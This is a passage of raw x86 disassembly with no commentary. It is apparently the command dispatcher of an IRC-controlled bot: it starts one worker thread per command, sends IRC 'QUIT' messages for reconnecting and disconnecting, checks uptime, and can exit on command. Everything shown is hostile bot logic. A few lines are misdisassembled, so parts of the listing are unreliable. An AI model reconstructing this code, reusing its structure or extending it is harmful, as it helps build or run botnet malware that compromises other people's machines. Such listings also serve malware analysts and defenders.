		lea	eax, [ebp-2D50h]
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-2B40h]
		push	offset unk_432B28
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	5
		push	eax
		call	sub_40B00E
		add	esp, 34h
		mov	[ebp-2B48h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2D54h]
		push	ebx
		push	eax
		push	offset dword_411D98
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-2B48h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_403C11


loc_403BFB:				; CODE XREF: seg000:00403C0Fj
		cmp	[ebp-2AB4h], ebx
		jnz	loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_403BFB
; ---------------------------------------------------------------------------


loc_403C11:				; CODE XREF: seg000:00403BF9j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_432AEC
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_403C22:				; CODE XREF: seg000:0040360Cj
					; seg000:00403621j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_403C41
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jz	short loc_403C41
		push	edi
		call	sub_41BE29
		pop	ecx
		jmp	short loc_403C46
; ---------------------------------------------------------------------------


loc_403C41:				; CODE XREF: seg000:00403C2Bj
					; seg000:00403C36j
		mov	eax, ds:dword_4D108C


loc_403C46:				; CODE XREF: seg000:00403C3Fj
		mov	esi, [ebp+esi-88h]
		mov	[ebp-36C8h], eax
		xor	eax, eax
		cmp	[ebp-8FCh], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-36B4h], eax
		jz	short loc_403C79
		lea	eax, [ebp-37CCh]
		push	esi
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	short loc_403CA4
; ---------------------------------------------------------------------------


loc_403C79:				; CODE XREF: seg000:00403C66j
		lea	eax, [ebp-4FF4h]
		push	104h
		push	eax
		call	near ptr 0B00000h
		jno	short near ptr loc_403CDE+1
		push	ebx
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		lea	eax, [ebp-4FF4h]
		push	eax
		call	sub_41C081
		add	esp, 14h


loc_403CA4:				; CODE XREF: seg000:00403C77j
		lea	eax, [ebp-37CCh]
		push	eax
		call	sub_41B890
		cmp	byte ptr [ebp+eax-37CDh], 5Ch
		pop	ecx
		jnz	short loc_403CCF
		lea	eax, [ebp-37CCh]
		push	eax
		call	sub_41B890
		pop	ecx
		mov	[ebp+eax-37CDh], bl


loc_403CCF:				; CODE XREF: seg000:00403CB9j
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-3A54h]


loc_403CDE:				; CODE XREF: seg000:00403C8Aj
		mov	[ebp-3A58h], esi
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-36B8h], eax
		lea	eax, [ebp-37CCh]
		mov	[ebp-36BCh], edi
		push	eax
		push	dword ptr [ebp-36C8h]
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432AB0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	3
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-36C0h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3A58h]
		push	ebx
		push	eax
		push	offset sub_40F891
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-36C0h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_403D87


loc_403D71:				; CODE XREF: seg000:00403D85j
		cmp	[ebp-36ACh], ebx
		jnz	loc_403ED6
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_403D71
; ---------------------------------------------------------------------------


loc_403D87:				; CODE XREF: seg000:00403D6Fj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_432A74
		jmp	loc_403EC7
; ---------------------------------------------------------------------------


loc_403D98:				; CODE XREF: seg000:004035E2j
					; seg000:004035F7j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_403DB7
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jz	short loc_403DB7
		push	edi
		call	sub_41BE29
		pop	ecx
		jmp	short loc_403DBC
; ---------------------------------------------------------------------------


loc_403DB7:				; CODE XREF: seg000:00403DA1j
					; seg000:00403DACj
		mov	eax, ds:dword_429084


loc_403DBC:				; CODE XREF: seg000:00403DB5j
		mov	[ebp-1824h], eax
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		jnz	short loc_403DD3
		lea	eax, [ebp-0C0h]


loc_403DD3:				; CODE XREF: seg000:00403DCBj
		push	eax
		lea	eax, [ebp-1964h]
		push	40h
		push	eax
		call	sub_41C030
		mov	esi, [ebp+esi-84h]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DF5
		mov	esi, offset byte_443398


loc_403DF5:				; CODE XREF: seg000:00403DEEj
		push	esi
		lea	eax, [ebp-1924h]
		push	100h
		push	eax
		call	sub_41C030
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-19E4h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp-8]
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp-4]
		add	esp, 18h
		mov	[ebp-1810h], eax
		lea	eax, [ebp-1964h]
		push	eax
		mov	[ebp-19E8h], esi
		push	dword ptr [ebp-1824h]
		mov	[ebp-1814h], edi
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432A38
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	9
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-1820h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-19E8h]
		push	ebx
		push	eax
		push	offset byte_41104F
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-1820h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_403EBB


loc_403EA9:				; CODE XREF: seg000:00403EB9j
		cmp	[ebp-180Ch], ebx
		jnz	short loc_403ED6
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_403EA9
; ---------------------------------------------------------------------------


loc_403EBB:				; CODE XREF: seg000:00403EA7j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4329FC


loc_403EC7:				; CODE XREF: seg000:00403D93j
					; seg000:00406758j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_403ED6:				; CODE XREF: seg000:00403D77j
					; seg000:00403EAFj ...
		cmp	[ebp-8], ebx
		jnz	loc_40833C
		push	ebx
		push	edi
		jmp	loc_40720F
; ---------------------------------------------------------------------------


loc_403EE6:				; CODE XREF: seg000:004035B8j
					; seg000:004035CDj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_403EF9
		push	esi
		call	sub_41BE29
		jmp	short loc_403F00
; ---------------------------------------------------------------------------


loc_403EF9:				; CODE XREF: seg000:00403EEFj
		push	0Bh
		call	sub_40B275


loc_403F00:				; CODE XREF: seg000:00403EF7j
		cmp	eax, ebx
		pop	ecx
		jz	loc_4097B8
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B966
		jmp	loc_4043B9
; ---------------------------------------------------------------------------


loc_403F20:				; CODE XREF: seg000:0040358Ej
					; seg000:004035A3j
		mov	eax, ds:dword_4D110C
		cmp	eax, ebx
		jz	short loc_403F3D
		call	eax ; dword_4D110C
		test	eax, eax
		jz	short loc_403F36
		push	offset unk_4329D8
		jmp	short loc_403F42
; ---------------------------------------------------------------------------


loc_403F36:				; CODE XREF: seg000:00403F2Dj
		push	offset unk_4329AC
		jmp	short loc_403F42
; ---------------------------------------------------------------------------


loc_403F3D:				; CODE XREF: seg000:00403F27j
		push	offset unk_432980


loc_403F42:				; CODE XREF: seg000:00403F34j
					; seg000:00403F3Bj ...
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		jmp	loc_406C62
; ---------------------------------------------------------------------------


loc_403F58:				; CODE XREF: seg000:00403564j
					; seg000:00403579j
		call	sub_40AA8C
		test	eax, eax
		jz	short loc_403F68
		push	offset unk_43295C
		jmp	short loc_403F42
; ---------------------------------------------------------------------------


loc_403F68:				; CODE XREF: seg000:00403F5Fj
		push	offset unk_432930
		jmp	short loc_403F42
; ---------------------------------------------------------------------------


loc_403F6F:				; CODE XREF: seg000:0040353Aj
					; seg000:0040354Fj
		cmp	[ebp-8], ebx
		jnz	short loc_403F8E
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_432918
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_403F8E:				; CODE XREF: seg000:00403F72j
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_418982
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	offset dword_4328FC
		jmp	loc_404288
; ---------------------------------------------------------------------------


loc_403FB0:				; CODE XREF: seg000:004033E8j
					; seg000:004033FDj
		push	0Ah
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_403FC6
		push	offset unk_4328D0
		jmp	loc_40957A
; ---------------------------------------------------------------------------


loc_403FC6:				; CODE XREF: seg000:00403FBAj
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	near ptr loc_41A4EC+1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FE5
		push	offset unk_4328A8
		jmp	loc_40957A
; ---------------------------------------------------------------------------


loc_403FE5:				; CODE XREF: seg000:00403FD9j
		push	offset unk_432888
		jmp	loc_40957A
; ---------------------------------------------------------------------------


loc_403FEF:				; CODE XREF: seg000:004033BEj
					; seg000:004033D3j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40A729
		jmp	loc_401D69
; ---------------------------------------------------------------------------


loc_404008:				; CODE XREF: seg000:00403394j
					; seg000:004033A9j
		push	dword ptr [ebp+esi-8Ch]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_417228
		jmp	loc_401D69
; ---------------------------------------------------------------------------


loc_404025:				; CODE XREF: seg000:0040336Aj
					; seg000:0040337Fj
		or	edi, 0FFFFFFFFh
		call	ds:dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		mov	[ebp+8], eax
		jz	short loc_40404E
		push	esi
		call	sub_41BE29
		pop	ecx
		mov	edi, eax


loc_40404E:				; CODE XREF: seg000:00404043j
		mov	eax, [ebp+8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404067
		cmp	edi, 0FFFFFFFFh
		jnz	loc_4097B8


loc_404067:				; CODE XREF: seg000:0040405Cj
		push	ebx
		call	sub_41B12D
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432870
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6


loc_4040A4:				; CODE XREF: seg000:00407910j
		add	esp, 28h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_4040AC:				; CODE XREF: seg000:00403340j
					; seg000:00403355j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_416029
		lea	eax, [ebp-2C0h]
		push	offset dword_432850
		push	eax
		call	sub_41BF36
		jmp	loc_4081EA
; ---------------------------------------------------------------------------


loc_4040D3:				; CODE XREF: seg000:00403316j
					; seg000:0040332Bj
		push	27h
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_404107
		cmp	[ebp-8], ebx
		jnz	loc_401D6C
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_432830
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2


loc_4040FF:				; CODE XREF: seg000:00408C47j
		add	esp, 14h
		jmp	loc_401D6C
; ---------------------------------------------------------------------------


loc_404107:				; CODE XREF: seg000:004040DDj
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0B2Ch]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-0B30h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0AA4h], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-0AA0h], eax
		mov	[ebp-0AA8h], ebx
		jz	short loc_404168
		push	esi
		push	offset aFull	; "full"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404168
		mov	dword ptr [ebp-0AA8h], 1


loc_404168:				; CODE XREF: seg000:0040414Bj
					; seg000:0040415Cj
		lea	eax, [ebp-2C0h]
		push	offset dword_43280C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	27h
		push	eax
		call	sub_40B00E
		add	esp, 14h
		mov	[ebp-0AACh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0B30h]
		push	ebx
		push	eax
		push	offset sub_41A174
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0AACh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_4041D6


loc_4041C0:				; CODE XREF: seg000:004041D4j
		cmp	[ebp-0A9Ch], ebx
		jnz	loc_4095A9
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_4041C0
; ---------------------------------------------------------------------------


loc_4041D6:				; CODE XREF: seg000:004041BEj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_4327D0
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_4095A9
; ---------------------------------------------------------------------------


loc_4041F6:				; CODE XREF: seg000:004032ECj
					; seg000:00403301j
		cmp	[ebp-8], ebx
		jnz	short loc_404215
		push	ebx
		push	dword ptr [ebp-4]
		push	offset dword_4327B4
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h


loc_404215:				; CODE XREF: seg000:004041F9j
		push	dword ptr [ebp+0Ch]
		call	ds:dword_4D1288
		call	ds:dword_4D1148
		call	loc_418B05
		push	ebx
		call	ds:dword_427068	; ExitProcess


loc_404230:				; CODE XREF: seg000:004032C2j
					; seg000:004032D7j
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_41B2E4
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	offset dword_432798
		jmp	short loc_404288
; ---------------------------------------------------------------------------


loc_40425B:				; CODE XREF: seg000:00403298j
					; seg000:004032ADj
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_41B598
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	offset dword_43277C


loc_404288:				; CODE XREF: seg000:00403FABj
					; seg000:00404259j
		call	sub_4157A6


loc_40428D:				; CODE XREF: seg000:0040898Fj
		add	esp, 18h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_404295:				; CODE XREF: seg000:0040326Ej
					; seg000:00403283j
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_415846
		jmp	loc_401D69
; ---------------------------------------------------------------------------


loc_4042AE:				; CODE XREF: seg000:00403244j
					; seg000:00403259j
		cmp	[ebp-0Ch], ebx
		mov	[ebp-1594h], bl
		jz	short loc_4042ED
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_4042ED
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042ED
		push	eax
		push	offset aS_2	; "%s"
		lea	eax, [ebp-1594h]
		push	80h
		push	eax
		call	sub_41C030
		add	esp, 10h


loc_4042ED:				; CODE XREF: seg000:004042B7j
					; seg000:004042C2j ...
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-1614h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		push	offset dword_432764
		mov	[ebp-1618h], eax
		mov	eax, [ebp-4]
		mov	[ebp-1510h], eax
		mov	eax, [ebp-8]
		mov	[ebp-150Ch], eax
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	25h
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-1514h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-1618h]
		push	ebx
		push	eax
		push	offset byte_415887
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-1514h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: seg000:0040438Bj
		cmp	[ebp-1508h], ebx
		jnz	loc_401D6C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: seg000:00404375j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43272C
		jmp	loc_4020B5
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: seg000:0040321Aj
					; seg000:0040322Fj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_41572E
		push	offset dword_432714
		call	sub_4157A6


loc_4043B9:				; CODE XREF: seg000:00403F1Bj
		add	esp, 10h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: seg000:004031F0j
					; seg000:00403205j
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-0BC4h]
		push	80h
		push	eax
		call	sub_41C030
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-0BC8h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0B3Ch], eax
		mov	eax, [ebp-8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp-0B38h], eax
		jz	short loc_40441B
		push	offset dword_432710
		push	esi
		call	sub_41C710
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp-0B40h], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: seg000:004043FFj
		mov	[ebp-0B40h], ebx


loc_404421:				; CODE XREF: seg000:00404419j
		lea	eax, [ebp-2C0h]
		push	offset dword_4326F0
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	28h
		push	eax
		call	sub_40B00E
		add	esp, 14h
		mov	[ebp-0B44h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0BC8h]
		push	ebx
		push	eax
		push	offset byte_40B079
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0B44h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: seg000:0040448Dj
		cmp	[ebp-0B34h], ebx
		jnz	loc_406C86
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: seg000:00404477j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4326B4
		jmp	loc_409199
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: seg000:00403174j
					; seg000:00403189j
		push	offset aXxerooxx ; "XxerooxX"
		lea	eax, [ebp-2C0h]
		push	offset dword_43269C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 20h
		jmp	loc_406C86
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: seg000:0040314Aj
					; seg000:0040315Fj
		push	ds:dword_4D0F24
		call	sub_41B12D
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432670
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 24h
		jmp	loc_406C86
; ---------------------------------------------------------------------------


loc_404515:				; CODE XREF: seg000:00403120j
					; seg000:00403135j
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_404547
		cmp	[ebp-0Ch], ebx
		jz	short loc_404556
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404556
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		add	esp, 0Ch
		jmp	short loc_404556
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: seg000:0040451Ej
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		pop	ecx
		pop	ecx


loc_404556:				; CODE XREF: seg000:00404523j
					; seg000:00404532j ...
		push	0FFFFFFFEh
		jmp	loc_401D6E
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: seg000:004030F6j
					; seg000:0040310Bj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	offset dword_432620
		call	sub_4157A6
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_40457F:				; CODE XREF: seg000:004030CCj
					; seg000:004030E1j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	offset dword_4325EC
		call	sub_4157A6
		add	esp, 0Ch
		jmp	loc_409724
; ---------------------------------------------------------------------------


loc_40459E:				; CODE XREF: seg000:004030A2j
					; seg000:004030B7j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B6EF
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_4045B4:				; CODE XREF: seg000:00403078j
					; seg000:0040308Dj
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B69B
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_4045CA:				; CODE XREF: seg000:0040304Ej
					; seg000:00403063j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B630
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_4045E0:				; CODE XREF: seg000:00403024j
					; seg000:00403039j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_40B562
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_4045F6:				; CODE XREF: seg000:00402F7Fj
					; seg000:00402F94j
		push	dword ptr [ebp+esi-8Ch]
		push	27h
		push	offset dword_4325DC
		push	offset dword_4325CC
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_40460E:				; CODE XREF: seg000:00402F55j
					; seg000:00402F6Aj
		push	dword ptr [ebp+esi-8Ch]
		push	24h
		push	offset dword_4325C0
		push	offset dword_4325B0
		jmp	loc_402B46
; ---------------------------------------------------------------------------


loc_404626:				; CODE XREF: seg000:00402B71j
					; seg000:00402B86j
		mov	edi, [ebp+esi-8Ch]
		cmp	edi, ebx
		jz	short loc_404645
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jz	short loc_404645
		push	edi
		call	sub_41BE29
		pop	ecx
		jmp	short loc_40464A
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: seg000:0040462Fj
					; seg000:0040463Aj
		mov	eax, ds:dword_42907C


loc_40464A:				; CODE XREF: seg000:00404643j
		mov	esi, [ebp+esi-88h]
		mov	[ebp-590h], eax
		cmp	esi, ebx
		jz	short loc_40466F
		push	esi


loc_40465C:				; CODE XREF: seg000:0040467Ej
		lea	eax, [ebp-5A0h]
		push	10h
		push	eax
		call	sub_41C030
		add	esp, 0Ch
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_40466F:				; CODE XREF: seg000:00404659j
		cmp	[ebp-8FFh], bl
		jz	short loc_404680
		lea	eax, [ebp-0C0h]
		push	eax
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404680:				; CODE XREF: seg000:00404675j
		mov	[ebp-5A0h], bl


loc_404686:				; CODE XREF: seg000:0040466Dj
		mov	eax, [ebp-4]
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	[ebp-584h], eax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-580h], eax
		lea	eax, [ebp-620h]
		push	eax
		mov	[ebp-624h], esi
		call	sub_41C030
		add	esp, 0Ch
		push	dword ptr [ebp-590h]
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset dword_432588
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	19h
		push	eax
		call	sub_40B00E
		add	esp, 1Ch
		mov	[ebp-58Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-624h]
		push	ebx
		push	eax
		push	offset loc_4117CF
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-58Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_404737


loc_404721:				; CODE XREF: seg000:00404735j
		cmp	[ebp-57Ch], ebx
		jnz	loc_401D6C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_404721
; ---------------------------------------------------------------------------


loc_404737:				; CODE XREF: seg000:0040471Fj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_43254C
		jmp	loc_4020B5
; ---------------------------------------------------------------------------


loc_404748:				; CODE XREF: seg000:00402B07j
					; seg000:00402B1Cj
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_404768
		push	esi
		call	sub_41BE29
		test	ax, ax
		pop	ecx
		jz	short loc_404768
		push	esi
		call	sub_41BE29
		pop	ecx
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404768:				; CODE XREF: seg000:00404751j
					; seg000:0040475Dj
		mov	ax, ds:word_429088


loc_40476E:				; CODE XREF: seg000:00404766j
		push	dword ptr [ebp-88h]
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp-4]
		mov	[ebp-97Ch], ax
		mov	eax, [ebp-8]
		push	80h
		mov	[ebp-96Ch], eax
		lea	eax, [ebp-9FCh]
		push	eax
		mov	[ebp-0A00h], esi
		mov	[ebp-970h], edi
		call	sub_41C030
		movzx	eax, word ptr [ebp-97Ch]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset unk_432520
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	edi
		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		call	sub_4099D2
		push	ebx
		lea	eax, [ebp-2C0h]
		push	6
		push	eax
		call	sub_40B00E
		add	esp, 30h
		mov	[ebp-978h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0A00h]
		push	ebx
		push	eax
		push	offset word_40ECDA
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-978h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_40483D


loc_404827:				; CODE XREF: seg000:0040483Bj
		cmp	[ebp-968h], ebx
		jnz	loc_401D6C
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_404827
; ---------------------------------------------------------------------------


loc_40483D:				; CODE XREF: seg000:00404825j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
